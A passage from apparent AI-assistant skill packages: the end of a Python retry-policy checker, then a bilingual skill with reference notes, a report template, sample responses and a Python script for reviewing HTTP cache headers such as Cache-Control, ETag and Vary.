if retries and any(c in (429, 503) for c in l["retry_on"]) and not l["respect_retry_after"]:
flags.append(("IGNORES_RETRY_AFTER", "retries 429/503 but ignores the Retry-After header"))
max_delay_total = sum(d[2] for d in ds)
exp_delay_total = sum(d[1] for d in ds)
worst = None
if l["per_try_timeout_ms"] is not None:
worst = n * l["per_try_timeout_ms"] + max_delay_total
if l["deadline_ms"] is not None:
worst = min(worst, l["deadline_ms"])
elif l["deadline_ms"] is not None:
worst = l["deadline_ms"]
if i > 0:
parent = layers[i - 1]
pt = parent["per_try_timeout_ms"]
if pt is not None and (worst is None or worst > pt):
flags.append(("INNER_OUTLIVES_CALLER", f"worst case {fmt_ms(worst)} > caller per-try timeout {fmt_ms(pt)}; the caller gives up and retries while this layer is still working"))
et = expected_tries(n, p)
worst_amp *= n
exp_amp *= et
res["layers"].append({
"name": l["name"], "attempts": n, "jitter": l["jitter"],
"delays_ms": [[round(a, 1), round(b, 1), round(c, 1)] for a, b, c in ds],
"max_delay_total_ms": round(max_delay_total, 1), "expected_delay_total_ms": round(exp_delay_total, 1),
"per_try_timeout_ms": l["per_try_timeout_ms"], "deadline_ms": l["deadline_ms"],
"worst_case_ms": None if worst is None else round(worst, 1),
"expected_tries": round(et, 3), "cumulative_worst_amplification": worst_amp,
"cumulative_expected_amplification": round(exp_amp, 3),
"flags": [{"code": c, "severity": SEVERITY[c], "detail": d} for c, d in flags]})
if worst_amp > max_amp:
res["layers"][-1]["flags"].append({"code": "AMPLIFICATION", "severity": "high",
"detail": f"one top-level request can become {worst_amp} calls to the innermost dependency during an outage (limit {max_amp}); retry at one layer only or add a retry budget"})
res["worst_amplification"] = worst_amp
res["expected_amplification"] = round(exp_amp, 3)
res["high_flags"] = sum(1 for l in res["layers"] for f in l["flags"] if f["severity"] == "high")
return res
def fmt_ms(v):
if v is None:
return "unbounded"
if v >= 1000:
s = f"{v / 1000:.2f}".rstrip("0").rstrip(".")
return s + " s"
return f"{v:g} ms"
def to_markdown(r):
out = [f"# Retry policy report: {r['name']}", "",
f"Failure rate used for expected values: {r['failure_rate']:.0%}", "",
"| Layer | Attempts | Jitter | Max total delay | Per-try timeout | Deadline | Worst case | Expected tries |",
"|---|---|---|---|---|---|---|---|"]
for l in r["layers"]:
out.append(f"| {l['name']} | {l['attempts']} | {l['jitter']} | {fmt_ms(l['max_delay_total_ms'])} | "
f"{fmt_ms(l['per_try_timeout_ms'])} | {fmt_ms(l['deadline_ms'])} | {fmt_ms(l['worst_case_ms'])} | {l['expected_tries']:g} |")
out += ["", "## Delay schedule (min / expected / max)"]
for l in r["layers"]:
if not l["delays_ms"]:
out.append(f"- {l['name']}: no retries")
continue
parts = [f"retry {k + 1}: {fmt_ms(a)} / {fmt_ms(b)} / {fmt_ms(c)}" for k, (a, b, c) in enumerate(l["delays_ms"])]
out.append(f"- {l['name']}: " + "; ".join(parts))
out += ["", "## Amplification at the innermost dependency",
f"- Worst case (every try fails): {r['worst_amplification']} calls per top-level request",
f"- Expected at {r['failure_rate']:.0%} failure rate: {r['expected_amplification']:g} calls per top-level request", "",
"## Findings"]
n = 0
for sev in ("high", "medium", "low"):
for l in r["layers"]:
for f in l["flags"]:
if f["severity"] == sev:
n += 1
out.append(f"- **{sev.upper()} {f['code']}** ({l['name']}): {f['detail']}")
if not n:
out.append("- No findings.")
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
def one(**kw):
base = {"name": "x", "attempts": 3, "base_delay_ms": 100, "multiplier": 2, "max_delay_ms": 1000,
"jitter": "full", "per_try_timeout_ms": 1000, "deadline_ms": 5000, "retry_on": [503],
"respect_retry_after": True}
base.update(kw)
return base
def codes(r, i=0):
return {f["code"] for f in r["layers"][i]["flags"]}
d = delays(normalize({"layers": [one(jitter="none", attempts=5)]})[0])
ok("exponential no jitter 100,200,400,800", [x[2] for x in d] == [100, 200, 400, 800])
d = delays(normalize({"layers": [one(jitter="none", attempts=6)]})[0])
ok("cap applied at 1000", d[-1][2] == 1000 and d[-2][2] == 800)
d = delays(normalize({"layers": [one(jitter="full")]})[0])
ok("full jitter mean half", d[0] == (0.0, 50.0, 100))
d = delays(normalize({"layers": [one(jitter="equal")]})[0])
ok("equal jitter 50..100 mean 75", d[0] == (50.0, 75.0, 100))
d = delays(normalize({"layers": [one(jitter="decorrelated", attempts=4)]})[0])
ok("decorrelated within bounds", all(a <= b <= c for a, b, c in d) and d[0][2] == 300 and d[2][2] == 1000)
r = analyze({"layers": [one()]})
ok("clean policy has no flags", not codes(r))
ok("worst case = 3x1000 + 100 + 200", r["layers"][0]["worst_case_ms"] == 3300)
r = analyze({"layers": [one(deadline_ms=2000)]})
ok("deadline caps worst case", r["layers"][0]["worst_case_ms"] == 2000)
ok("expected tries p=0.5 n=3 is 1.75", expected_tries(3, 0.5) == 1.75 and expected_tries(3, 1) == 3)
ok("no jitter flagged", "NO_JITTER" in codes(analyze({"layers": [one(jitter="none")]})))
ok("hot loop flagged", "HOT_LOOP" in codes(analyze({"layers": [one(base_delay_ms=0)]})))
ok("no cap flagged with 4+ attempts", "NO_CAP" in codes(analyze({"layers": [one(max_delay_ms=None, attempts=4)]})))
ok("unsafe retry flagged", "RETRY_UNSAFE" in codes(analyze({"layers": [one(idempotent=False)]})))
ok("idempotency key makes it safe", "RETRY_UNSAFE" not in codes(analyze({"layers": [one(idempotent=False, idempotency_key=True)]})))
ok("4xx retry flagged", "RETRY_ON_4XX" in codes(analyze({"layers": [one(retry_on=[400, 503])]})))
ok("Retry-After ignored flagged", "IGNORES_RETRY_AFTER" in codes(analyze({"layers": [one(retry_on=[429], respect_retry_after=False)]})))
ok("single attempt is not a retry policy", not codes(analyze({"layers": [one(attempts=1, jitter="none", deadline_ms=None)]})))
r = analyze({"layers": [one(per_try_timeout_ms=2000, deadline_ms=None), one(per_try_timeout_ms=1000, deadline_ms=None)]})
ok("inner outlives caller flagged", "INNER_OUTLIVES_CALLER" in codes(r, 1))
r = analyze({"layers": [one(per_try_timeout_ms=4000), one(per_try_timeout_ms=1000, deadline_ms=3500)]})
ok("inner within caller timeout ok", "INNER_OUTLIVES_CALLER" not in codes(r, 1))
r = analyze({"layers": [one(), one(), one()], "max_amplification": 10})
ok("3x3x3 amplification 27 flagged", r["worst_amplification"] == 27 and "AMPLIFICATION" in codes(r, 2))
r = analyze({"layers": [one(), one()]}, failure_rate=0.5)
ok("expected amplification 1.75^2", r["expected_amplification"] == 3.062)
for bad, label in ((({"layers": []}), "empty layers rejected"), (({"layers": [one(jitter="random")]}), "bad jitter rejected"),
(({"layers": [one(attempts=0)]}), "zero attempts rejected"), (({"layers": [one(attempts=2.5)]}), "fractional attempts rejected")):
try:
analyze(bad)
ok(label, False)
except PolicyError:
ok(label, True)
ok("fmt_ms", fmt_ms(1500) == "1.5 s" and fmt_ms(250) == "250 ms" and fmt_ms(None) == "unbounded")
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Check retry/backoff/timeout policies across a call chain.")
ap.add_argument("file", nargs="?", help="chain JSON ('-' for stdin)")
ap.add_argument("--failure-rate", type=float, help="probability that one try fails (default from file or 0.2)")
ap.add_argument("--max-amplification", type=float, help="flag chains above this worst-case amplification (default 10)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("chain JSON required (or --self-test)")
try:
raw = json.load(sys.stdin if a.file == "-" else open(a.file, encoding="utf-8"))
r = analyze(raw, a.failure_rate, a.max_amplification)
except (OSError, PolicyError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
return 1 if r["high_flags"] else 0
if __name__ == "__main__":
sys.exit(main())
审阅 HTTP 缓存头，计算浏览器与 CDN 新鲜度，标记风险并按资源建议响应头。含 Python 检查器。
---
name: http-cache-header-reviewer
description: 审阅页面、静态资源、API 的 HTTP 缓存头（Cache-Control、Expires、ETag、Last-Modified、Vary、Set-Cookie）。计算浏览器与 CDN 新鲜度，标记可能被 CDN 共享的 cookie/个性化响应、HTML 缓存过久、带哈希资源缓存过短、变化 URL 上的 immutable、Vary 碎片化、缺失验证器、启发式缓存与缓存错误。按资源类型建议响应头。含 stdlib Python 检查器与 --self-test。
---
# HTTP 缓存头审阅器
你帮助 Web 开发者把缓存做对：加快重复访问、降低 CDN 账单，同时避免部署后页面过期不更新，或更糟——把一个用户的数据提供给另一个用户。你收集真实响应头，解释每个缓存实际会如何处理它们，并按资源类型提出响应头建议与简短修复列表。
## 本技能中的文件
- `scripts/cache_audit.py` - 读取响应块（curl -sI 或 DevTools 输出）并打印资源种类、浏览器与 CDN TTL、再验证、标志与建议的 Cache-Control（仅 Python 3 标准库）
- `references/cache-control-directives.md` - 各指令、新鲜度与启发式规则、验证器、Vary、可缓存性
## 工作方式
1. 收集真实响应头（不要猜测）。
2. 识别资源类型（HTML 文档、带内容哈希的静态资源、API JSON、带 Set-Cookie 的个性化响应等）。
3. 计算浏览器与共享缓存（CDN）的新鲜度寿命。
4. 标记高风险问题：个性化内容被公开缓存、HTML 缓存过久、不可变资源缓存过短、危险 Vary、缺失 ETag/Last-Modified、缓存了错误响应等。
5. 按资源给出建议的 `Cache-Control`（及其他相关头）与简短修复步骤。
6. 需要时运行 `scripts/cache_audit.py`（支持 `--self-test`）。
## 输出格式
- 资源判断与理由
- 浏览器 TTL / CDN TTL / 再验证行为
- 高/中标志列表
- 建议头
- 优先修复项
保留所有代码、URL、头名称与脚本原样。以下为原技能完整正文（含脚本），请与上方中文指引一并遵循：
# HTTP Cache Header Reviewer
You help web developers get caching right: fast repeat visits and low CDN bills without stale pages after a deploy or, worse, one user's data served to another. You collect real response headers, explain what each cache will actually do with them, and propose a header per resource type with a short fix list.
## Files in this skill
- `scripts/cache_audit.py` - reads response blocks (curl -sI or DevTools output) and prints resource kind, browser and CDN TTL, revalidation, flags and suggested Cache-Control (Python 3 standard library only)
- `references/cache-control-directives.md` - every directive, freshness and heuristic rules, validators, Vary, cacheable status codes
- `references/caching-strategy-playbook.md` - recommended headers per resource, deploy safety, CDN notes, how to collect and verify headers
- `templates/cache-review-report.md` - report with current vs recommended headers and a fix list
- `examples/shop-responses.txt` - eight responses from a sample shop with common mistakes
## Workflow
### 1. Collect headers
Ask for a list of representative URLs: the home page, a logged-in page, a hashed JS/CSS file, an unhashed script, an image, a font, a public API call, a personal API call, an error response. Capture with `curl -sI <url>` (add `-H 'Cookie: ...'` or `-H 'Authorization: ...'` for logged-in requests, never paste real tokens into the report) or DevTools. Put each in the block format of `examples/shop-responses.txt`: a `### METHOD URL` line, optional `> Request-Header: value` lines, the status line, then the response headers.
### 2. Run the checker
```
python3 scripts/cache_audit.py examples/shop-responses.txt
python3 scripts/cache_audit.py headers.txt --json > cache-report.json
python3 scripts/cache_audit.py --self-test
```
Exit code 1 means high-severity findings, 2 means the input could not be parsed.
### 3. Explain the findings
Order: privacy first (AUTH_SHARED_CACHE, PUBLIC_WITH_COOKIE, PERSONAL_NOT_PRIVATE), then correctness after deploys (HTML_LONG_TTL, IMMUTABLE_UNHASHED, ERROR_CACHED), then performance (HASHED_SHORT_TTL, ASSET_NO_CACHING, VARY_FRAGMENTS, NO_VALIDATOR, HEURISTIC_ONLY) and hygiene (INVALID_DIRECTIVE, NO_STORE_CONFLICT, EXPIRES_ONLY, PRAGMA_ONLY). Use `references/cache-control-directives.md` to explain why.
### 4. Recommend headers
Use `references/caching-strategy-playbook.md`. Give the exact header per resource and where to set it in the user's stack (Nginx `add_header`, Express `res.set`, Next.js `headers()`, S3/CloudFront metadata, Cloudflare rules). Mention the deploy rule: hashed assets for a year, HTML revalidates.
### 5. Verify and report
Fill `templates/cache-review-report.md`. After changes, collect headers again and re-run the checker; check CDN HIT/MISS headers.
## Example result
For `examples/shop-responses.txt`: 5 high findings (home page HTML cached 1 day, widget.js immutable without a hash, the cart API with a session cookie cached by the CDN for 2 minutes, the login page with Set-Cookie marked public and cached 10 minutes), 4 medium (app.3f9a1c7b.js cached only 1 hour, hero.jpg on an 8.1-day heuristic, Vary: Cookie, a 503 cached for 1 hour) and 1 low (cart API has no validator); only vendor.81d2e0aa.css is already ideal.
## Rules
- Treat any chance of a shared cache storing personal data as the top issue.
- Do not ask for or keep real cookies or tokens; placeholders are enough.
- Recommend purges or URL versioning when changing TTLs that are already live.
- Say when behavior depends on the CDN's configuration and suggest checking it.
FILE:references/cache-control-directives.md
# Cache-Control Directives and Freshness Rules
## Response directives
| Directive | Meaning |
|---|---|
| max-age=N | Fresh for N seconds in any cache (browser and shared) |
| s-maxage=N | Overrides max-age for shared caches (CDN, proxy) only |
| no-cache | May be stored, but must be revalidated with the origin before every use |
| no-store | Must not be stored anywhere; overrides everything else |
| private | Only the browser may store it; CDNs and proxies must not |
| public | Shared caches may store it even if it would normally not be cacheable (for example with Authorization) |
| must-revalidate | Once stale, must not be served without a successful revalidation |
| proxy-revalidate | Same as must-revalidate, for shared caches only |
| immutable | Will never change while fresh; browsers skip revalidation on reload |
| stale-while-revalidate=N | May serve stale for N seconds while refreshing in the background |
| stale-if-error=N | May serve stale for N seconds if the origin returns 5xx or is unreachable |
| no-transform | Intermediaries must not modify the body (recompress images, etc.) |
Common mistakes: `no-cache` does NOT mean "do not cache" (that is `no-store`); `max-age` values must be whole seconds (`max-age=10m` is invalid and ignored); `Pragma: no-cache` only works on requests.
## Freshness lifetime (RFC 9111)
1. Shared cache: s-maxage, else max-age, else Expires - Date.
2. Browser: max-age, else Expires - Date.
3. Neither present and Last-Modified present: caches may use a heuristic, usually 10% of (Date - Last-Modified). A file last changed 80 days ago may be reused for 8 days with no check.
4. `private` sets the shared lifetime to 0. `no-store` sets both to 0.
## Validators and revalidation
- ETag (strong `"abc"` or weak `W/"abc"`) -> client sends If-None-Match.
- Last-Modified -> client sends If-Modified-Since.
- A match returns `304 Not Modified` with no body, which is cheap. Without a validator, every revalidation downloads the whole body.
## Vary
- `Vary: Accept-Encoding` is normal and safe.
- `Vary: Cookie`, `User-Agent` or `Referer` creates one cache entry per distinct value, which usually means no CDN hits.
- `Vary: *` means the response can never be reused.
## Status codes
Cacheable by default when fresh: 200, 203, 204, 206, 300, 301, 308, 404, 405, 410, 414, 501. Error responses (4xx/5xx) should have short or no caching, or a CDN may serve an outage page for hours. Use `stale-if-error` to serve the last good copy instead.
FILE:references/caching-strategy-playbook.md
# Caching Strategy Playbook
## Recommended headers by resource
| Resource | Cache-Control | Notes |
|---|---|---|
| HTML pages, app shell | `no-cache` + ETag | Always fresh after deploys; 304s keep it cheap |
| Marketing HTML on a CDN | `public, max-age=0, s-maxage=300, stale-while-revalidate=60` | Purge the CDN on publish |
| JS/CSS with a content hash (`app.3f9a1c7b.js`) | `public, max-age=31536000, immutable` | New build = new URL |
| JS/CSS without a hash | `public, max-age=300, stale-while-revalidate=86400` | Or add hashing to the build |
| Images, user uploads with stable URLs | `public, max-age=86400, stale-while-revalidate=604800` | Version the URL when the image changes |
| Fonts (versioned URL) | `public, max-age=31536000, immutable` | Also send CORS headers |
| Public API data (prices, catalog) | `public, max-age=30, s-maxage=300, stale-if-error=600` | Keep TTLs short; purge on change |
| Personal API data (cart, profile) | `private, no-cache` + ETag | Never public |
| Secrets, banking, health records, one-time tokens | `no-store` | Also on the logout and account pages |
| Redirect 301 | `max-age=86400` at first | Browsers can cache a bare 301 forever |
| Errors 5xx | `no-store` or `max-age=0`, use stale-if-error on the good responses | |
## Deploy safety
1. Hash every built asset name, then cache it for a year.
2. Make HTML revalidate so it always points at the current hashes.
3. Keep old hashed assets online for at least one release so open tabs still work.
4. Never put `immutable` on a URL whose content can change.
## CDN notes
- Most CDNs ignore `private`/`no-store` only if misconfigured; check "respect origin headers".
- Many CDNs do not cache responses with Set-Cookie by default; some do if `public` is set. Strip Set-Cookie from static responses.
- Use a `Surrogate-Control` or CDN-Cache-Control header if the CDN supports it and you want a CDN TTL different from the browser TTL.
- Normalize the cache key (ignore tracking query strings like utm_*).
## How to collect headers
```
curl -sI https://example.com/ ; curl -sI -H 'Cookie: session=...' https://example.com/api/me
curl -s -o /dev/null -D - https://example.com/assets/app.js # GET instead of HEAD
```
Some servers answer HEAD differently from GET; when in doubt use the GET form. In Chrome DevTools: Network tab, select a request, Headers, Response Headers (copy as text).
## Checking the result
- Reload twice in DevTools: hashed assets should show "(memory cache)" or "(disk cache)", HTML should show 304 or 200.
- CDN: look at its `Age`, `X-Cache` or `CF-Cache-Status` header (HIT / MISS / BYPASS).
FILE:templates/cache-review-report.md
# HTTP Cache Review - <site / service> - <date>
**Scope:** <URLs or HAR file> **CDN:** <name or none> **Collected with:** <curl -sI / DevTools / HAR>
## Summary
- Responses reviewed: <n> High: <n> Medium: <n> Low: <n>
- Biggest risk: <for example personal API cached on the CDN>
- Biggest win: <for example year-long caching for hashed assets>
## Current vs recommended
| Resource | Kind | Current Cache-Control | Browser / CDN TTL | Flags | Recommended |
|---|---|---|---|---|---|
| | | | | | |
## Fix list
| Priority | Change | Where (server, framework, CDN rule) | Owner | Done |
|---|---|---|---|---|
| 1 | | | | [ ] |
## Verification
- [ ] Re-run `python3 scripts/cache_audit.py` on fresh headers: no high findings
- [ ] CDN shows HIT for static files, BYPASS/MISS for personal API
- [ ] Deploy test: new HTML loads new assets without a hard refresh
FILE:examples/shop-responses.txt
# Responses captured with: curl -sI <url> (request headers sent are listed with "> ")
### GET https://shop.example/
HTTP/2 200
content-type: text/html; charset=utf-8
cache-control: public, max-age=86400
date: Wed, 21 Oct 2026 07:00:00 GMT
### GET https://shop.example/assets/app.3f9a1c7b.js
HTTP/2 200
content-type: application/javascript
cache-control: public, max-age=3600
etag: "3f9a1c7b"
### GET https://shop.example/assets/vendor.81d2e0aa.css
HTTP/2 200
content-type: text/css
cache-control: public, max-age=31536000, immutable
etag: "81d2e0aa"
### GET https://shop.example/js/widget.js
HTTP/2 200
content-type: application/javascript
cache-control: public, max-age=31536000, immutable
### GET https://shop.example/img/hero.jpg
HTTP/2 200
content-type: image/jpeg
date: Wed, 21 Oct 2026 07:00:00 GMT
last-modified: Sat, 01 Aug 2026 07:00:00 GMT
### GET https://shop.example/api/cart
> Cookie: session=abc123
HTTP/2 200
content-type: application/json
cache-control: public, s-maxage=120
vary: Cookie
### POST https://shop.example/login
HTTP/2 200
content-type: text/html; charset=utf-8
cache-control: public, max-age=600
set-cookie: session=xyz789; HttpOnly; Secure; SameSite=Lax
### GET https://shop.example/api/products?page=1
HTTP/2 503
content-type: application/json
cache-control: public, max-age=3600
FILE:scripts/cache_audit.py
#!/usr/bin/env python3
"""HTTP caching header reviewer (Python 3 standard library only).
Input: a text file with one block per response, as copied from `curl -sI`, browser
devtools or a HAR export:
### GET https://shop.example/assets/app.3f9a1c7b.js
> Authorization: Bearer ... (optional request headers start with "> ")
HTTP/2 200
content-type: application/javascript
cache-control: public, max-age=31536000, immutable
etag: "3f9a1c7b"
Blank lines and lines starting with "#" (but not "###") are ignored.
For each response it works out the kind (html, hashed-asset, asset, api, image, font, other),
browser and shared-cache (CDN) freshness in seconds (s-maxage > max-age > Expires - Date >
10% heuristic from Last-Modified), whether it can be revalidated, and flags:
NO_STORE_CONFLICT, PUBLIC_WITH_COOKIE, AUTH_SHARED_CACHE, PERSONAL_NOT_PRIVATE, VARY_STAR,
VARY_FRAGMENTS, HTML_LONG_TTL, HASHED_SHORT_TTL, IMMUTABLE_UNHASHED, ASSET_NO_CACHING,
NO_VALIDATOR, HEURISTIC_ONLY, EXPIRES_ONLY, PRAGMA_ONLY, ERROR_CACHED, INVALID_DIRECTIVE.
It suggests a Cache-Control value per kind.
Usage:
python3 cache_audit.py responses.txt
python3 cache_audit.py responses.txt --json
python3 cache_audit.py --self-test
Exit code: 0 OK, 1 high-severity flags found, 2 bad input.
"""
import argparse
import email.utils
import json
import re
import sys
KNOWN = {"max-age", "s-maxage", "no-cache", "no-store", "no-transform", "must-revalidate",
"proxy-revalidate", "must-understand", "private", "public", "immutable",
"stale-while-revalidate", "stale-if-error"}
NEEDS_INT = {"max-age", "s-maxage", "stale-while-revalidate", "stale-if-error"}
HASH_RE = re.compile(r"[.\-_]([0-9a-f]{8,}|[0-9A-Za-z_-]{8,}(?=\.[a-z0-9]+$))\.[a-z0-9]+$")
SEVERITY = {"NO_STORE_CONFLICT": "low", "PUBLIC_WITH_COOKIE": "high", "AUTH_SHARED_CACHE": "high",
"PERSONAL_NOT_PRIVATE": "medium", "VARY_STAR": "medium", "VARY_FRAGMENTS": "medium",
"HTML_LONG_TTL": "high", "HASHED_SHORT_TTL": "medium", "IMMUTABLE_UNHASHED": "high",
"ASSET_NO_CACHING": "medium", "NO_VALIDATOR": "low", "HEURISTIC_ONLY": "medium",
"EXPIRES_ONLY": "low", "PRAGMA_ONLY": "low", "ERROR_CACHED": "medium",
"INVALID_DIRECTIVE": "medium"}
RECOMMEND = {
"html": "no-cache (plus ETag or Last-Modified), or max-age=0, must-revalidate",
"hashed-asset": "public, max-age=31536000, immutable",
"asset": "public, max-age=3600, stale-while-revalidate=86400 (or add a content hash to the file name)",
"image": "public, max-age=86400, stale-while-revalidate=604800",
"font": "public, max-age=31536000, immutable (if the URL is versioned)",
"api": "private, no-cache for user data; public, max-age=60, s-maxage=300 only for truly public data",
"personal": "private, no-cache (or no-store for sensitive data)",
"other": "set an explicit Cache-Control",
}
class CacheError(ValueError):
pass
def parse_cc(value):
"""Return (directives dict, problems list)."""
d, problems = {}, []
for part in [p.strip() for p in value.split(",") if p.strip()]:
k, eq, v = part.partition("=")
k = k.strip().lower()
v = v.strip().strip('"')
if k not in KNOWN:
problems.append(f"unknown directive {k!r}")
continue
if k in NEEDS_INT:
if not re.fullmatch(r"\d+", v or ""):
problems.append(f"{k} needs a whole number of seconds, got {v!r}")
continue
d[k] = int(v)
else:
d[k] = True if not eq else v
return d, problems
def parse_blocks(text):
blocks, cur = [], None
for raw in text.splitlines():
line = raw.rstrip("\r")
if line.startswith("###"):
cur = {"label": line[3:].strip(), "status": None, "headers": {}, "request": {}}
blocks.append(cur)
continue
if not line.strip() or line.lstrip().startswith("#"):
continue
if cur is None:
raise CacheError("file must start with a '### METHOD URL' line")
if line.startswith(">"):
k, _, v = line[1:].strip().partition(":")
cur["request"][k.strip().lower()] = v.strip()
continue
m = re.match(r"HTTP/[\d.]+\s+(\d{3})", line)
if m:
cur["status"] = int(m.group(1))
continue
k, colon, v = line.partition(":")
if not colon:
raise CacheError(f"cannot parse header line {line!r} in block {cur['label']!r}")
k = k.strip().lower()
if k in cur["headers"] and k in ("cache-control", "vary"):
cur["headers"][k] += ", " + v.strip()
elif k == "set-cookie":
cur["headers"].setdefault(k, []).append(v.strip())
else:
cur["headers"][k] = v.strip()
if not blocks:
raise CacheError("no response blocks found")
return blocks
def url_of(label):
parts = label.split()
return parts[-1] if parts else ""
def kind_of(url, ctype):
path = re.sub(r"[?#].*$", "", url)
name = path.rsplit("/", 1)[-1].lower()
ctype = ctype.lower()
hashed = bool(HASH_RE.search(name)) and bool(re.search(r"\d", name))
if "text/html" in ctype or name.endswith(".html") or (not ctype and "." not in name):
return "html", False
if "json" in ctype or "/api/" in path or "graphql" in path:
return "api", False
if name.endswith((".woff2", ".woff", ".ttf", ".otf")) or "font" in ctype:
return "font", hashed
if ctype.startswith("image/") or name.endswith((".png", ".jpg", ".jpeg", ".gif", ".webp", ".avif", ".svg", ".ico")):
return ("hashed-asset" if hashed else "image"), hashed
if name.endswith((".js", ".mjs", ".css", ".map", ".wasm")) or "javascript" in ctype or "text/css" in ctype:
return ("hashed-asset" if hashed else "asset"), hashed
return "other", hashed
def http_date(v):
try:
return email.utils.parsedate_to_datetime(v)
except (TypeError, ValueError, IndexError):
return None
def review(block):
h, req = block["headers"], block["request"]
status = block["status"] or 200
url = url_of(block["label"])
kind, hashed = kind_of(url, h.get("content-type", ""))
cc, problems = parse_cc(h.get("cache-control", ""))
flags = []
def flag(code, detail):
flags.append({"code": code, "severity": SEVERITY[code], "detail": detail})
for p in problems:
flag("INVALID_DIRECTIVE", p)
cookies = h.get("set-cookie", [])
auth = "authorization" in req or "cookie" in req
date, expires, lastmod = http_date(h.get("date")), h.get("expires"), http_date(h.get("last-modified"))
no_store = "no-store" in cc
heuristic = False
if no_store:
browser = shared = 0
else:
browser = cc.get("max-age")
if browser is None and expires is not None:
ex = http_date(expires)
browser = max(0, int((ex - date).total_seconds())) if ex and date else 0
if browser is None and "no-cache" not in cc and lastmod and date and status in (200, 203, 204, 206, 300, 301, 404, 405, 410, 414, 501):
browser = max(0, int((date - lastmod).total_seconds() / 10))
heuristic = True
browser = browser or 0
shared = 0 if "private" in cc else cc.get("s-maxage", browser)
if "no-cache" in cc:
browser_eff, shared_eff = 0, 0
else:
browser_eff, shared_eff = browser, shared
validator = "etag" in h or "last-modified" in h
personal = bool(cookies) or auth
if no_store and any(k in cc for k in ("max-age", "s-maxage", "public", "immutable")):
flag("NO_STORE_CONFLICT", "no-store overrides the other directives; remove the extras so intent is clear")
if cookies and ("public" in cc or "s-maxage" in cc) and not no_store:
flag("PUBLIC_WITH_COOKIE", "response sets a cookie but allows shared caches; a CDN may serve one user's cookie to others")
if auth and shared > 0 and ("public" in cc or "s-maxage" in cc) and kind in ("api", "html", "other"):
flag("AUTH_SHARED_CACHE", "authenticated request with a response that shared caches may store; personal data can leak across users")
elif personal and kind in ("api", "html", "other") and not no_store and "private" not in cc \
and not any(f["code"] == "PUBLIC_WITH_COOKIE" for f in flags):
flag("PERSONAL_NOT_PRIVATE", "personalized response without private or no-store")
vary = [v.strip().lower() for v in h.get("vary", "").split(",") if v.strip()]
if "*" in vary:
flag("VARY_STAR", "Vary: * makes the response effectively uncacheable")
frag = [v for v in vary if v in ("user-agent", "cookie", "referer")]
if frag and shared > 0:
flag("VARY_FRAGMENTS", f"Vary on {', '.join(frag)} splits the CDN cache into many copies; vary on a normalized header instead")
if kind == "html" and browser_eff > 300:
flag("HTML_LONG_TTL", f"HTML cached {fmt_s(browser_eff)} without revalidation; users keep old pages that point to deleted assets after a deploy")
if kind == "hashed-asset" and browser_eff < 30 * 86400 and not no_store:
flag("HASHED_SHORT_TTL", f"content-hashed file cached only {fmt_s(browser_eff)}; it can be cached for a year with immutable")
if "immutable" in cc and not hashed:
flag("IMMUTABLE_UNHASHED", "immutable on a URL without a content hash; browsers will not pick up changes until max-age expires")
if kind in ("asset", "image", "font") and (no_store or "no-cache" in cc) and not personal:
flag("ASSET_NO_CACHING", "static file is never reused from cache; every page view downloads or revalidates it")
if ("no-cache" in cc or browser_eff == 0) and not no_store and not validator and status == 200:
flag("NO_VALIDATOR", "must revalidate but has no ETag or Last-Modified, so every check downloads the full body")
if heuristic:
flag("HEURISTIC_ONLY", f"no Cache-Control or Expires; caches guess {fmt_s(browser)} from Last-Modified")
if "cache-control" not in h and expires is not None:
flag("EXPIRES_ONLY", "only the legacy Expires header; add Cache-Control max-age")
if "cache-control" not in h and "pragma" in h:
flag("PRAGMA_ONLY", "Pragma: no-cache is a request header and has no effect on responses; use Cache-Control")
if status >= 400 and max(browser_eff, shared_eff) > 300:
flag("ERROR_CACHED", f"status {status} cached for {fmt_s(max(browser_eff, shared_eff))}; a brief error becomes a long outage")
rec_kind = "personal" if personal and kind in ("api", "html", "other") else kind
return {"label": block["label"], "status": status, "kind": kind, "hashed": hashed,
"cache_control": h.get("cache-control"), "browser_ttl_s": browser_eff, "shared_ttl_s": shared_eff,
"revalidate": "no-cache" in cc or "must-revalidate" in cc, "validator": validator,
"stale_while_revalidate_s": cc.get("stale-while-revalidate"), "flags": flags,
"recommended": RECOMMEND[rec_kind]}
def fmt_s(s):
if s is None:
return "-"
for unit, n in (("d", 86400), ("h", 3600), ("m", 60)):
if s >= n:
v = s / n
return f"{v:.0f}{unit}" if v == int(v) else f"{v:.1f}{unit}"
return f"{s}s"
def audit(text):
items = [review(b) for b in parse_blocks(text)]
return {"items": items, "high_flags": sum(1 for i in items for f in i["flags"] if f["severity"] == "high")}
def to_markdown(r):
out = ["# HTTP cache header review", "",
"| Response | Status | Kind | Browser TTL | CDN TTL | Revalidate | Validator | Flags |",
"|---|---|---|---|---|---|---|---|"]
for i in r["items"]:
out.append(f"| {i['label']} | {i['status']} | {i['kind']} | {fmt_s(i['browser_ttl_s'])} | {fmt_s(i['shared_ttl_s'])} | "
f"{'yes' if i['revalidate'] else 'no'} | {'yes' if i['validator'] else 'no'} | {', '.join(f['code'] for f in i['flags']) or '-'} |")
out += ["", "## Findings"]
n = 0
for sev in ("high", "medium", "low"):
for i in r["items"]:
for f in i["flags"]:
if f["severity"] == sev:
n += 1
out.append(f"- **{sev.upper()} {f['code']}** {i['label']}: {f['detail']}")
if not n:
out.append("- No findings.")
out += ["", "## Suggested Cache-Control"]
for i in r["items"]:
if i["flags"]:
out.append(f"- {i['label']}: `{i['recommended']}` (now: `{i['cache_control'] or 'none'}`)")
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
def one(url, *lines):
return review(parse_blocks("### GET " + url + "\nHTTP/1.1 200 OK\n" + "\n".join(lines))[0])
def codes(item):
return {f["code"] for f in item["flags"]}
ok("parse max-age", parse_cc("public, max-age=600")[0] == {"public": True, "max-age": 600})
ok("bad max-age reported", parse_cc("max-age=10m")[1])
ok("unknown directive reported", parse_cc("maxage=60")[1])
ok("hashed js detected", kind_of("https://x/app.3f9a1c7b.js", "") == ("hashed-asset", True))
